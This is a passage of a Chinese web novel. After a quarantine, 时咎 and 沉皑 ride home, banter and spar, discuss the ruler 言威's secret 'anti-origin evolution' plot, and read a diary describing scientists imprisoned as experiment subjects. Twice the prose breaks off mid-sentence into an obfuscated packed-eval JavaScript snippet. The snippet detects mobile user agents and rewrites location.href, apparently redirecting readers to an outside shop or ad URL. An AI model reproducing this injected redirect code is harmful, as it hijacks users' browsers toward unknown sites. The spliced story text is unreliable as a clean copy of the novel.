何为也跟着他,在一片只能听见脚步声的窸窣里,长叹一口气,轻轻对他说了一句:“终于可以回去了。” 终于可以离开二十天的提心吊胆,也让昨晚的记忆蒙尘。 两个人走得有些近,想同时通过栅栏门必须紧挨着。 鞋踏在松软的土地上,走一步便带一些泥出来,但此时并没有人想带走这里的任何东西,连枯草也全部被从身上拨开。 何为觉得时咎这个人完全不像未成年,他随时都很镇定,以至于让人感到安全,是个不错的朋友,于是何为侧过头,问他:“对了,你住哪一栋?等虚疑病好转,我来找你玩。” 时咎沉吟片刻,说:“我不住那,给我个联系方式,有时间找你。” “好啊,回头我带你去骑马、射箭,或者如果你对枪也感兴趣?” “可以。” 何为对他笑。 穿过最外围的栅栏,前面的人有序上车。 时咎看到沉皑站在上车的地方,他就在那笔直地站着,蓝色眼睛扫着每一个走出来的人,直到目光落在时咎身上,又云淡风轻地挪到何为身上。 他的嘴角微微往下拉着,看上去是面无表情,但时咎觉得他不高兴。 何为走在前面先上车,上车前看了一眼沉皑,顿了一下,小声叫道:“沉先生。” 沉皑瞥他一眼,淡漠道:“嗯。” 他的眼神很快又转回时咎这里,看到时咎靠近,便依然用那样的语气问他:“你的腿怎么了?” 时咎一下没反应过来,他都快忘了小腿受伤的事,还是何为答得快,他抢答说:“他之前被文明中心的人开枪打到过小腿,但是现在早就结痂了,没什么大碍。” 沉皑看着时咎的小腿,看他这走过来除了有些轻微的姿势不自然,确实也没什么别的问题,又皱眉问:“你的手?” 何为再次抢答:“早上出来的时候被一个疯子不小心伤到的,我已经给他包扎好了。” 这个疯子在前面已经上车了。 沉皑的目光一直盯着时咎,一眼也没有看何为,但连续两次被回答后,他不再问了,只短促地说了一个字:“哦。” 时咎感觉他真的不太高兴。 沉皑最后一个上车后,门在后面被关上。 前排已经坐满,后排空很多,何为坐在很后排,见时咎来了便朝他挥手:“十九,这儿!” 时咎看了他一眼,走到他旁边时对他说:“我有点累,我去最后一排躺着。” “那行。”何为答到。 时咎是真的觉得很累,他走到最后一排,想像来的时候一样一个人横躺五个位置,然后他看见沉皑走近,就在倒数第二排坐下来,直视着前方,没说话,也没问他,什么都没问,好像对他这二十天的来龙去脉完全不好奇,好像跟他这个人本身也不熟。 他不好奇,那时咎就好奇了。他临时改变主意,现在他不想在最后一排独自躺平睡觉了,他有点想搞事情。 于是他在巴士起步的一瞬间往前走一步,利用起步时的重心不稳顺势从后面的阶梯“滑”了下来,滑到沉皑旁边,捂着腿有些痛苦地说:“啊,我的腿……” 沉皑没理他。 时咎继续装龇牙咧嘴:“好痛,动不了了,喂,你能不能坐进去,我要坐这儿。” 他指着此时沉皑坐的地方,而忽略了前后左右都完全空置的座位。 无比拙劣的演技。 离他们不远的何为听到时咎的声音转过头,有些担心地问:“你又扯到伤口了吗?需要帮忙吗?” 时咎连忙摆手。 “哦好,有问题叫我。”何为转头回去。 时咎站在狭窄过道上,手把着椅背,身体随着车的行进摇摆,甚至颇有站不稳随时要摔下去的预兆。 他急促地呼吸,咬着牙小声说:“真的,真的很痛啊,有没有好心人给我让个座?” 没人理他,他说的话在周围有一摞空位的情况下显得异常讽刺。 可能还是演得不够用力。 时咎抬起一条腿,这回连手也放开了——一个一定会倒下去的姿势。 两秒后,巴士行进过一个泥坑,整个车身剧烈抖动一下,时咎得愿所偿没站稳整个人往前倒去。 “啊。”他轻飘飘地低呼一声,虽然有点紧张,虽然不用叫出来,但还是要演一下。 那一瞬间,时咎脑子里闪过了两种可能:一,沉皑搭理他了,顺理成章问他话;二,摔下去。 等等,沉皑这个性格,该不会真软硬不吃吧?那…… 然而在时咎的身体真正滑倒的时候,沉皑还是动了,他皱眉一把拉住时咎的手腕,猛地往自己地方向扯,时咎成功倒了回来,并且倒到沉皑身上。 沉皑即刻松开手,偏过头,抿唇一言不发。 距离有点近了,沉皑不动,时咎也不动,他上半身趴在沉皑身上,抬头,便是清晰的轮廓。 时咎笑了笑,轻声说:“你要是不给我让座,我就这么趴着咯?” 沉皑皱眉,站起来了。 终于连骗带演地把沉皑推搡进了靠窗的位置,时咎也舒服坐下了。 影帝中的影帝。时咎对这一段表演的自我评价相当高。 他看沉皑,但沉皑还是没有打算跟他说话,只是侧过头看窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187331|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外。 时咎的心理分析启动。一般情况下,人在什么时候会故意忽视另一个人? 一、生气;二、因为某件事自认为看清了某个人;三、刷存在感……不,沉皑绝对不可能是第三种,第二种也有待商榷,消失二十天不联系不存在看清他的情况吧? 他一直都是这幅鬼样子,何况在和季水风打电话的时候,应该也已经向他说明了。 那只会是生气。 时咎很想把这三种可能性都否定掉,虽然这些日子相处下来,沉皑的情绪越来越明显,但是生气,还是最显而易见地故意去忽略某人这种幼稚的生气,很难把他和沉皑联系起来。根据排除掉所有不可能,那最后的不可能就是真相这一原则…… 时咎偏过头,直盯着沉皑,问出一句话:“你失忆了?”问完他就后悔了,早上打电话的时候他还问过他是不是时咎。 退一万步回来,也不可能是后面两种。如果是生气,一定也是和自己有关的,否则他不会单单不理自己。 时咎开始思考自己哪里惹他了,二十天前沉皑一早出门,之后本来就没联系,后来他在梦里发癫瞬移到了隔离区,之后就再没有机会联系,这件事的不可抗的,他不相信沉皑会因为外力因素而迁怒于他,早上打电话时候也问了他在哪。再根据排除所有不可能,最后那个一定是真相这个原则…… 时咎看了看沉皑,又扭头看了看何为。 他再次问出一句话:“你该不会觉得我从到恩德诺就跟你关系最好,二十天不见,我和别人关系也很好了,所以生气吧?” 这回沉皑终于有动作了,他转过头,冷漠看着时咎说:“到底是什么给了你勇气,让你肆无忌惮随意猜测?” 总之,终于是理人了。时咎耸肩懒懒道:“我又不知道,你又不说,猜还不让人猜了?更过分的我都敢猜,只要你不跟我说原因,我就乱猜。” 沉皑似乎有些无奈,他轻叹,不想再跟时咎打太极,只用下巴示意了一下时咎的腿,问道:“刚刚磕到了?疼吗?” 时咎露出一个不怎么真诚的笑容,他说:“没磕到,我故意的,想在你这儿刷下存在感。” 沉皑的神情瞬间又冷漠回去。 “但是!之前确实是受伤了啊。”时咎直接拉起他的裤腿,露出那一块伤疤,咖色的痂结了一大块,边缘有的地方甚至脱落了,是在恢复的痕迹。 他想到那天就生气,于是把那天的事重新给沉皑说了一遍。 沉皑不咸不淡地:“嗯,听到枪声了,只是没想到是你。” 枪声响起的时候,他甚至往声音来源看了一眼,但被隔着的楼房挡住了,便只问了一下情况,没有多想。 如果当时知道……算了,没有什么早知道。 窗外又是那些荒芜到让人感觉不真实的田野,在越来越弱的太阳光里,最后连田野都看不见,只能看见玻璃上自己的倒影,没过一会儿,车里的吸顶大灯关了,连倒影也消失。 大家似乎都很累,天一黑下来,巴士持续运行的声音就成了催眠剂,听得人提不起精神。 时咎对沉皑提了一个非常过分的要求,他以为沉皑不会答应,但沉皑居然首肯了。两个人从倒数第二排去到了最后一排——时咎要沉皑的大腿做他的枕头。 虽然可以躺下,但放下181的身高还是差点。于是时咎就屈着腿在那儿舒服躺下了,还有人肉枕头。 他调整好姿势,临睡前又问了沉皑一个问题:“我当时被带来的时候还挺担心你到处找我,你找了吗?” 沉皑闭着眼靠在靠背上,缓慢地说:“问了一下平时跟你有联系的人,我想如果你有危险也不至于是什么大危险,最多是醒来,所以就没找了。” 他说得有道理,时咎还想问,但被沉皑直接抬手捂住了嘴。 “唔唔。” “闭嘴,休息。” 40. 第 40 章 时咎睡得很快,好像在现实中从未睡过这么熟过,但是靠在沉皑腿上,意料之外的安心。 车辆运行的声音分毫不变,让时咎感觉自己又回到了那辆叫“黄粱一梦”的列车上。他似乎站在列车中央,窗外是如同快进入黑洞般的扭曲视界,连自己的手也是荡开的縠纹。 他慢慢往前走,企图去列车的驾驶室,但声音像有形的手,扯着他无法往前。巴士和列车,分不清是哪一辆车的运行声音,一直在耳边萦绕、萦绕,后来那些无规则的噪音变成了音乐,音乐又充斥在列车上。很熟悉的音乐,时咎跟着可以哼出来它的旋律,但当他哼着哼着,汽车过减速带,身体的起伏让他瞬间就清醒过来。 车里很黑,旁边的遮光帘不知道什么时候被拉上了,虽然车辆运行有时颠簸,但这一觉时咎休息得还可以。 沉皑见他醒了,将自己的手从他的头发上拿开,淡声道:“还可以睡会儿。” “不睡了。”时咎坐起来。 好像快到了。时咎伸手撩开窗帘看向窗外,一片漆黑。 他忽然想起什么,问了他最近一直都担心的事:“你就这么跑来,自己不怕感染吗?” 沉皑轻动嘴唇:“还好。总得有人做,不是我就是别人。” 其实是有点担心,但他不想说,反正也没什么区别。 何为从前面走过来的时候看到的就是这么一幕:最后一排两个人坐在一起靠得很近,而时咎的眼睛还有些泛红地惊愕地盯着沉皑,沉皑则是很正常地端坐着。这画面很像两个人吵架后,一方指责,另一方无动于衷。 一百个念头和可能性在何为的脑海里飞驰,他想起了他和时咎的谈话内容,想起了在监狱某个晚上时咎在本子上写的名字,最后“阿巴”了两声,呆滞地说:“原来,沉先生就是……” 时咎觉得自己的脑子转不太动,听到何为的声音,他红着眼睛看了过去,有点疑惑:“就是?” 沉皑没说话,于是何为颤颤巍巍地说:“就是十九的爱唔唔唔唔!” 反应过来的时咎如临大敌,瞬间扑了上去捂住了他的嘴慌乱:“别乱说!” 这说出来真的解释不清了,也不知道为什么何为会把这两件事联想起来,沉皑这家伙看上去是能谈恋爱的人吗? 沉皑则是冷冷看着两个人的互动。 巴士停在他们原来的街区,车上的人一个一个下来,独属于城市夜晚的气息终于轻飘飘地吹进肺里,逐渐取代监狱二十天的不快。 下车后沉皑再次强调让他们呆在家里不允许和任何人接触。 “沉先生,这样真的可以吗?那掌权者那里……”司机恭敬地问沉皑。 季水风束缚着被她绑了的凌超建,抢了他的话:“没事,我们会跟他说。” “麻烦季小姐和沉先生了。” 季水风说她要在这里等安全中心的车,把凌超建送到文明中心的监狱,再回去她独居的家单独呆一些时日,她说如果她感觉自己开始出现幻觉、精神不稳定,会提前告知安全管理中心,等病情好一些就可以来收尸了。 时咎跟着沉皑走了。 当他再次回到这个温馨的小家的时候,恍惚间在监狱里发生的一切都不真实起来,他依然无法设想那些孩子在那样的环境下做出的事,没了文明,人的本性到底是什么?没了物质性进化,他们又会怎么样? 家里的灯一直开着,连电视也是开着,好像主人走得匆忙没来得及关。现在两个人回来了,沉皑又懒得去关了。 时咎很自觉地去沉皑衣柜里搜刮衣服,发现他衣服没几件,大部分都是黑色,中间偶尔有几件白色和灰色,然而并没有见他穿过,这灰白色的衣服里,大部分还是家居服,于是时咎抽了出来。 “借你衣服当睡衣。”时咎举着衣服朝客厅的沉皑晃了晃,自然地说。 沉皑斜眼看他:“真把这当你自己家了?” 时咎窜进浴室,又从门框边露出半个头,他笑着说:“客气啥,你也可以把我家当你自己家。” 沉皑觉得这个人松弛得过头了。 时咎去洗了一个久违的热水澡,他在浴室把淋浴温度开很高,直到整个密闭空间都弥漫一层白雾,于是开始哼歌,但是哼着哼着又哼不出来了。 好简洁的浴室,所有东西都只有一份,一丝不苟地整理放好,跟有强迫症一样,这点和它主人的气质倒是很像的。 时咎裹着沉皑的浴巾出来时沉皑正在打电话,也许是没察觉到时咎已经出来,他直接开的免提。 “你想事情太过于片面,可以提前放他们出来,但你问过那些现在终于尝试在恢复正常生活的人吗?对,就是一刀切,我没有要求你去隔离已经是我滥用职权了!我可以明确告诉你,我们几个的决定就是让‘一定的’和‘可能的’全部变成不可能,以此来保证大部分人的正常生活!集中隔离这件事本身就是有风险的,治疗的药也是每天分发的,如果还是发病,那只能是物竞天择!”言威的声音毫不留情地从电话那头传来。 或许沉皑也没想到会得到这样的答复,他抿紧唇,站在窗边,面向着外面,半晌没说话,而言威依然坚持他的看法:“你说那个一群未成年人杀人的事,偶然事件罢了。还不懂吗?虚疑病是恩德诺一切无法走向更高级文明最大的绊脚石!为此我们必须不惜一切代价遏止它的再度传播!” 说完他便挂了电话。 时咎觉得,或许言威是爱恩德诺的公民的,但却并没有一颗仁慈的心。 沉皑放下手机,时咎听到他叹了口气,默然很久,他才转过身。他看到时咎穿着他的衣服,那衣服大了两个号,便只是松垮地垂着。 沉皑说:“你睡卧室吧。” 时咎偏头,没说话,身体先行动起来了,他走到沉皑旁边推着他的背往卧室里赶,一边推搡一边说:“都那么熟了,别你啊我的,一起睡,一起睡。” 沉皑瞥他一眼,闷闷回了个:“嗯。” 这个时候的毫无边界感,沉皑倒不觉得多讨厌,只是如果时咎对谁都这么没有边界感,可能会引起别人的讨厌。 沉皑觉得需要和他讨论一下这件事。 言威做了很聪明的一件事,他在第二天发布了新闻,在新闻上朝恩德诺的公民公开道歉,说他得知的一些关于隔离集中营里发生的事,很遗憾他们研发的药救不了所有人,导致一些悲剧的产生,这种疾病在两百年后依然超出他们的科研水平,这让他感觉万分痛心,但在一个月集中隔离结束后,依然保持清醒的公民他们将全部送回家,再进行一段时间的自我隔离。除此以外,每个集中隔离过的公民,都将收到文明中心发放的赔偿金,并不必须以金纸的形式发放,公民可以自行选择,自行申请。 时咎就这么和沉皑并排着倚在沙发上。时咎随意惯了,东倒西歪地半躺着,看完言威这一段声泪俱下的新闻录像,不禁鼓掌:“他演得真的很好,比我都好。” 网络的评论也大部分偏好,公民们似乎很理解文明中心的一切行为——为了更多的人,牺牲小部分人,而那小部分人也几乎自愿为整体的文明牺牲。 这就像一出欺骗的戏,但当观众也乐在其中时,欺骗本身就是诚实。 沉皑一直皱着眉头,最后叹气说:“有时候我觉得很无力,知道现实是怎样,也知道他在做一些不可原谅的事,我把所有情况都摆明,告诉他我知道他的阴谋,他总能承认,然后告诉我‘对,就是这样,我是故意的,那你有什么办法呢?’”他想到了很多事,从小到大,接触言威的种种,时常会产生这样的感觉。 失控感令人摇摇欲坠。 但虽然同样是欺骗,自愿相信和被迫相信又是天差地别。公民如此信任他们的文明中心,是因为有些事表面处理得更有利于大部分人,他们却看不到表面的背后是怎样的居心叵测。 时咎问他:“言威想做什么?” 沉皑好半天才回答他:“不确定,但我之前跟你说过,他应该想要某种集权,一种类似两百年前的统治方式,原本掌权者法案只是在那个年代赋予掌权者带领公民的权力,但到他的时候,他想通过这个位置,再次集权回到一个一人独裁的局面。” 时咎咋舌:“那不就重新制造一个皇帝,一个独裁者吗?” “嗯。”沉皑皱眉,想说些什么,又不知道让时咎知道是否正确,但想了片刻,还是告诉时咎,“这些年,我一直在调查一件事。” “什么?”时咎问。 “反起源进化。”他一字一句回答道。 意思是字面上的意思,但放在这个文明的大环境里,却有些令人匪夷所思。时咎顿时感觉自己一身鸡皮疙瘩起来了。 “反起源进化?”时咎轻声默念了一遍这几个字,好像什么深水炸弹一样打下来,明明在深处打起猛浪,却又在表面找不到一点痕迹。 “起源进化,这不是让恩德诺重新从战争里解脱出来的法案?还有人反对?”时咎不解。 “不是有人反对,但我不知道那是什么,这个词和它背后的含义,它包含什么内容,我都不知道。” 沉皑也不知道如何解释他在很多年前听到言霏与言威那场对话时的场景,也只能简单描述。 当时的言威认为沉皑是自己最得力的助手,虽然季山月与季水风也绝不逊色,但他就盯准了沉皑,一心想要把他培养成忠实的左膀右臂,一人之下万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187332|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之上。 但沉皑对这些没有兴趣,他对年幼时候的冲动有了反悔之意,特别是在多年前听到言威与单赫的钱权交易后,对掌权者和文明中心更加嗤之以鼻,他想从言家脱离出来,然而就在这个时候,他再次听到了一段对话。 言霏:“沉皑这孩子的脾气和毅力都异于常人,你要多注意一些,不能把他放在太远的地方,眼皮底下最好。” 言威:“放心,我知道。” 言霏:“有数就好,另外反起源进化不能让任何人、特别是沉家这孩子知道,绝对不能。这件事已经结束了,就当没有发生过。” “好。” 那是沉皑第一次听到“反起源进化”一词,这个词让他震惊,吸引他注意的同时,他更好奇的在于,为何自己在其中会被格外强调。是跟他相关? 于是他查过很多资料,偷偷地、旁敲侧击地找人求证,这么多年来却都没有得到过一点线索,他想线索只可能在言威、掌权者、文明中心这个范围内,于是在即使经历了巨大痛苦后,依然选择蛰伏在了文明中心,找言威要了一个“看守者”的职位,既然是起源进化相关,那就从起源实验室开始。 时咎从东倒西歪的状态坐正,觉得不舒服又干脆面对着沉皑盘腿坐,继续说道:“如果言威想要独裁,反起源进化确实是一个很好的想法,一旦人们无法意识沟通,人人有壁垒,大家重新开始猜疑,这对他的统治是有益的。我以前看过一本书里面有一句话是:战争就是和平,自由就是奴役,无知就是力量[7]。” “但是……”时咎想了想,又接着说道,“这样的计划确实不能被人知道,不过被你知道、被季水风和季山月知道其实是一样的,以你们的性格和能力,都能掀起大浪,为什么偏偏唯独是你?” 沉皑看着他,摇头,他就是这个意思,为什么偏偏是他? “所以这件事跟你有关。”时咎继续分析,他疑惑地看向沉皑,“你以前做过什么可能被他利用了的事吗?比如他让你做什么,你以为是什么,实际是另一回事?” “没有。”沉皑很干脆地回答,他对他的经历非常清晰。 事实上他想过很多可能性,也通过很多途径,但这件事就像被人从中间拦腰截断一样,没有人知道,也没有文字记录,就像当年言霏说的,这件事已经结束了,当没发生过,好像真的从未发生过,在历史里找不到任何只言片语。 时咎揣度后,用不太确定的语气说:“那你觉得这个事,有可能让公民知道吗?” 沉皑摇头:“我跟你说过,那个在广场自焚的人的事。” 时咎的手抓着盖在身上的毯子,轻声说:“成也萧何败也萧何。” 思维的透明让公民太过于信任彼此,以至于如果有人说文明中心的人的思维是伪透明,他们可能都无法相信,谁知道通过意识交流的东西还能是假的呢?这件事无法被证伪,只能另辟蹊径。 时咎眼神坚定地看向沉皑,接着说道:“所以需要什么事让公民相信,而且这件事不能用说的,要用事实证明。” 既然有一件事是假的,也会有别的事是假的,文明中心高层思维不透明,只是一个开头的征兆。谎言像个巨大的莫比乌斯环,环环相扣,他们得找到谎言链中的其余部分,哪怕只有一件。 沉皑看着他,没说话,但时咎知道他认同,那双蓝色眼睛是信任。 时咎突然松了一口气,他不知道自己为何在这个时候会觉得放松,他只是想起了最初他和这个人针锋相对的时候,这个人对自己从来都是不信任,无论自己说真话还是假话,他没有在这双眼睛里看到过信任,即使说了“相信”,眼睛里也是怀疑。而在此刻,他看到了。 沉皑认同时咎说的,但出口的话又变成了别的,他说:“你对这个梦好像比以前上心了。” 话一出口,时咎就知道这位先生对他所说的“梦”一直耿耿于怀,于是他无声地笑了笑,抬手捏拳假意捶他的胳膊,无所谓一样的语气说:“你这就没意思了,我改变主意了。我经历的所有都是真的,从小长大,读书学习交朋友,毕业开展览工作,然后突然一天知道恩德诺,打架被逮捕,被划伤隔离回家,每一件事都给了我真实的体验,心里、身体都在做出反应,那一枪过来的疼是真的疼。如果感受都是真实的,谁知道哪里才是梦呢,这一辈子几十年的人生,谁知道不是哪个我临死前的梦呢?所以我现在觉得,既然我真实地体验,就真实用心就好。” 沉皑无奈笑道:“所以我说你胆子很大。” 时咎轻轻“啊”了一声,抱着腿将下巴放在自己膝盖上,露出一副乖巧的神情,笑眯眯地说:“我还有胆子更大的你想看吗?” 41. 第 41 章 沉皑:“什么?” 时咎突然伸腿,用着自己学来的偷袭手法,一脚就往沉皑胸口踹,他自认为速度非常快,然而还是低估沉皑了,脚伸到一半就被抓住,沉皑反手捏住他的脚踝往后拖,时咎整个人失去重心,后仰倒在沙发上,但他不认输,核心发力翻身一下站起来,企图反制回去。 面前有茶几挡着,时咎便把沉皑拉到旁边,抬手就用胳膊肘去攻击,攻势还没释放出去便被化解了。 沉皑随意应付着,时咎却是浑身解数,两个人就这么“有来有回”打起来了。 “你!反应怎么这么快!”时咎不解道,说话间,腰上又被偷袭,时咎立刻抓住那只手,然而那手跟学了软骨法一样瞬间挣脱,反而自己的手腕被狠狠抓住了。 沉皑平淡道:“还可以。”说完他大臂发力将时咎整个人扯过来,企图把他甩到沙发上再钳住他。 但他没想到时咎在被甩出去的瞬间,手腕扭转攀上他的手腕,牢牢握住。 时咎在后仰倒向沙发的时候,牵连沉皑也往前扑去。 “小心!”沉皑急急低呼,他心下一凉,担心会触碰到时咎的伤口,立刻蜷缩手臂,用胳膊肘去接触沙发,撑起自己的重量。 时咎只感觉眼前一黑,接着两个人以一种奇怪的上下姿势一起摔在沙发上。 身体上突如其来的重量,意料之外的肌肤相触让时咎惊得没说出话。 由于缺少了小臂的长度,沉皑和时咎几乎是胸膛贴着胸膛,为了避免会磕碰,沉皑微微侧头,但他睁眼时,近在咫尺的是时咎的下颌线,和始终戴在他脖子上的黑色脖环。 炽热的呼吸瞬间从脸颊扫到脖子,往衣服里扫去,时咎浑身鸡皮疙瘩都起来了,他嘴唇不安分张了一下,一时间不知道应该用什么样的语气开口。 意料之外的发展。 时咎感觉到有头发和急促的呼吸在不停侵袭他的皮肤,在两人僵硬却无动于衷的姿势里,时咎听到自己逐渐加快的心跳。 从来没有这么近过,跟任何人。 时咎吞了一口口水,喉头滚动好几次才发出声音:“你,没,没伤到你吧?” 他是想报复沉皑的,但他没想到自己会把对方也拖过来。 沉默很久,若不是那呼吸一直拍打着脖子处的皮肤,时咎几乎以为压在身上的人睡着了。 很痒,痒得浑身无力。 两秒后,时咎听到几乎是贴在他耳边的声音,低沉地响起:“嗯。” 说着,沉皑动了一下,他撑起胳膊,又逐渐撑起半个身体,这一系列动作在时咎眼里像被蒙了曾雾,他看到沉皑的侧脸,他看到沉皑的下巴,看到沉皑的下颌线,又看到他的脖颈,一点一点,直到沉皑起来。 他想:原来沉皑这个角度是这样的。 于是时咎也想起来,他弯起大腿抬起膝盖,紧接着他感受到自己的大腿受到了阻碍,然后就听到沉皑倒吸一口冷气的声音。 啊……他顶了什么? 时咎脸色一变,立刻放下腿。 沉皑本来就还没完全站起来,他这一下…… “啊啊啊,对不起!”反应过来的时咎立刻惊悚道歉,他看到沉皑保持这个姿势不动了,变胳膊发力把自己撑起来去看沉皑,“不是,我不是故意的啊,没事吧,痛不痛啊?” 这下好了。 沉皑在原地好几秒没动也没出声,在时咎愧疚和惊悚的情绪里,最后还是摇摇头。 “没事。” “真没事啊?不会废了吧?” 沉皑咬牙终于从沙发上站起来,一眼都不想看时咎,转身就走。 “不是,别生气啊!”时咎立刻跟上来,“我给你道歉行不行?别生气,不行咱去医院看看啊?” 沉皑一把撂开时咎,皱眉:“走开。” 这下真好了。 沉皑走回房间,并且把跟上来的时咎阻挡在门外。 时咎一把抓住门框,顺势往地上倒:“哎呀,我腿还有伤,我胳膊也还有伤,有没有好心人救救我啊。” 又来。沉皑关门的手捏得死死的,他居高临下冷漠看着这个演戏的人。 片刻,他叹气,蹲下来直接把地上的人一把抱了起来。 忽然悬空的时咎懵了:“你怎么那么喜欢抱……”话没说完,整个人被扔在床上。 后背砸入柔软床里,时咎刚要挣扎着坐起来,却眼前一黑,沉皑掀起被子,一把将时咎整个笼罩在里面,双手拽住被子的四角,让里面的人彻底淹没在里面。 “喂!!”时咎大叫,声音从被子里闷闷的传出来。 本来就打不过他,现在眼前一片黑,时咎如同无头苍蝇在被子里乱撞,撞不出来,只能气急败坏:“你是不是疯了!快放开!沉皑!我要杀了你!” 沉皑无谓嘲笑,淡声说:“你来试试。” 时咎算是发现了,虽然自己可以在言语上拿捏沉皑,但在体力上一点便宜占不了,只能任人宰割。 半晌,沉皑松开束缚的手,掀开被子。 终于呼吸到新鲜空气的时咎像尸体一样躺在床上,他的头发和衣服因为挣扎全部凌乱成一团,胸口还在剧烈起伏,只能动动眼珠子仇恨地瞪一眼沉皑。 “我记住你了。”时咎咬着牙说。 沉皑根本不理会他的愤懑:“哦,很乐意被你记住。” 时咎还想从言语上反击,但沉皑居高临下扫他一眼:“不是说身上有伤?有伤就休息。”说完扭头就走,走到门边,又回头加了一句,“有些控制身体的意识,但不多,身体好点我教你防身。” “啊?”时咎这下彻底懵了。 第三十一天,第一批集中隔离的人回家,新闻上报道着这些事。时咎翻了很久的新闻和公民的采访,发现他遇到的竟然真的是寡二少双的事,大部分都是成年人的隔离,几乎都是有序的生活,而公民们面对发病的人处理方式是让他们自生自灭,但不主动攻击,所以一旦有人发病,便关起来,剩下的人继续隔离,也有被误杀的人,有的公民在上传经历时提到,同集中营有人在发病时觉得其他人要迫害他,便先发制人到处打人,也有打伤的,还有意外死亡的。 是一次短暂的海水群飞。 一个月后依然保持清醒没有被感染的人至少有一半,他们在相互信赖和帮助下,度过了这三十天。 新闻上报道,这长达两个月的病发高峰期,死亡人数达到10万人。 文明中心发布通知,隔离集中营的公民回家后,依然禁止出门一周,安全管理中心全城巡查后,允许恢复正常生活。 好事在于,文明中心的电话已经从永无止尽变成了隔一段时间才会有公民打电话来求助。 风轻日暖。 此时,在离文明中心很远的一处仿古宅邸里,一个人男人百无聊赖地坐在白色沙发上,他将脚踝搭在自己的大腿上,浑身都在有规律地抖着,像展示着某种好心情。 屋子不大,一张长沙发,一张男人坐的白色单人沙发,一张古色古香的木桌,上面斟的茶还在冒着热气,一只音箱轻声放着舒缓的歌,白色的墙上面挂了两幅暖色风景画,窗户外是一片家种的绿植。光是坐在这儿,就令人心旷神怡。 男人抖腿抖了一会儿,拿起茶品了一嘴,但他好像不太会品茶,一口闷下去被烫得不轻,又全部吐了出来,拿袖口擦了擦嘴,抬手把茶杯摔得粉碎,看着碎裂的陶瓷,他又慢慢坐回沙发,悠悠地朝坐在长沙发上的女人开口:“嘁,我哪知道啊,我就图个好玩儿,早说我不投了呗。” 一周后,季水风上门找到了沉皑。一同被她带来的还有她在地下医院找到的那个泛黄的笔记本。 “我已经看过了,我想你必须亲自看看。”季水风把笔记本递给沉皑,她的表情严肃得让人不安。 这个笔记本上应该都是积尘,季水风已经对它进行了简单的清理,拿在手上还能感觉到灰尘的堆积,但是手上依然是干净的。 时咎坐过来和沉皑一起看。 封面已经烂了,书角也卷了边,纸张褪黄,上面写着什么已经看不清,依稀能认得的两个字是“刀”、“光”,在封面右下角,时咎猜是这个笔记本主人的名字或者内容的简介。 翻开一页,里面的内容便清晰起来。 是一本日记本,在粗糙的纸张上,有人写下了日期和下方密密麻麻的文字。 ——232年1月13日 来这儿一周了,还是没有人带我们去实验室,我们都觉得愤怒,但是这些人说让我们耐心等待,实验室的配备也需要时间,如果是需要时间,为什么不等一切配备好了再通知我们?叔叔今年80多了,在这个地方是浪费生命。 ——232年1月15日 终于有人来通知了,但实验室不够,所以今天我们让叔叔先去,他的智慧在 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——232年2月2日 他们的人太无礼了!如此粗鲁对待我们文明顶级的科学家!应当口诛笔伐! ——232年3月.日 他们3在拿我们做实验,。我们,一`是实验品。我以为,我们研究(但是我们才是实验品。救命,、我的手也控制 ——232年3月 我不知道几日,我昏迷很久,醒来牢房里,他们丧失人性,我好像看到侄子的尸体。疯子,这里的人是疯子。他们让我说假话,我不知道什么,就电击。他们骗了我们。来这里。 ——232年3月 我的表姐,企图逃走被他们打死了,我看到了。我不知道我还能活多久,如果我死了,下一次m,我要把这件事公之于众。他们逆天而行! ——232年3月 他们不能让季雨雪的研究成果变成,毁于一旦。...起源进化是,伟大的。我i听到他们说抓我,不知道这次又能活下来, 日记本后面是一道黑红的污渍,沾满了半页纸,但这截止到3月的日记后面再没有了,直到翻到日记本的末尾,都是一片空白。 按照恩德诺的元年记法,现在是272年,这应该是四十多年前的事,按照公元算是1984年。时咎拿过来重新翻了一遍,确实只有这些内容,他不可思议地抬头看向沉皑。 沉皑没说话,屋子里出奇的寂静。 楼下有人在谈话,但谈话声随着人的远去也远去了,少时的杂音慢慢又变成了安静。最后季水风打破这令人窒息的沉默,她说:“我看到就觉得,可能跟你一直查的事有关。” 或许是因为提到了起源进化,时咎又翻了一遍,他想,曾经有人,一群人,或是某个组织,骗恩德诺文明最顶级的一些科学家去了他这次隔离所在的监狱,骗他们去的理由是研究某样东西,随后就将他们关在了监狱,适时再抓一些人去做研究,而写日记的这个人因为迟迟没去,所以无聊到写日记,但他当真的被带去做研究的时候,才发现原来所谓的研究却是研究他们,他们才是那个实验品。 时咎说:“日记里面提到了某种对起源进化有损害的事,会不会就是那个‘反起源进化’?” 沉皑微微点头说:“有可能,但不确定。” 时咎忖度着前几天他们的聊天内容,便问道:“是不是言威?” 季水风接道:“232年,言威才十多岁,他有能力召集一群顶尖科学家研究某样东西?他拿什么说服人家?而且我这两天查过文明中心档案,按照日记本里说的,他们很多顶尖科学家都在监狱,但恩德诺最顶尖的科学家都在文明中心档案里,但档案里并没有出现顶尖科学家大量失踪的记录,有记录以来都是正常入职,正常退休。” “那有没有可能是被抹除?”时咎问。 季水风非常干脆地回答:“没有,最高权力中心是掌权者大楼,但是他们处理的都是公民相关和政务,科研院的人员流动他们无权干涉,而且我向科研院上一代管理求证过了,没有大批科学家失踪的事。” 